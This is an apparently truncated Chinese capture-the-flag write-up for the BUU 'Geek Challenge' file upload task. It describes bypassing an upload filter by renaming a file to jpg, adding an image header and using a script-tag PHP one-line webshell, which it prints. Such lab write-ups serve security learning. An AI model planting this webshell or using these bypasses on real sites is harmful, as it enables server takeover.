BUU_Web 极客大挑战 Upload

打开题目网址，文件上传： 尝试上传 webshell.php ，一句话木马： 看来是不能上传 .php，抓包发现需要上传jpg格式图片： 将文件后缀格式改成 jpg 格式： <? 被检测，只能换一种一句话木马了，： <script language="php">eval($_POST['cmd']);</script> 提示检测到不完全是图片，写入 jpg 格式文件头，再次上传，仍然显示不完全是图

>>阅读原文<<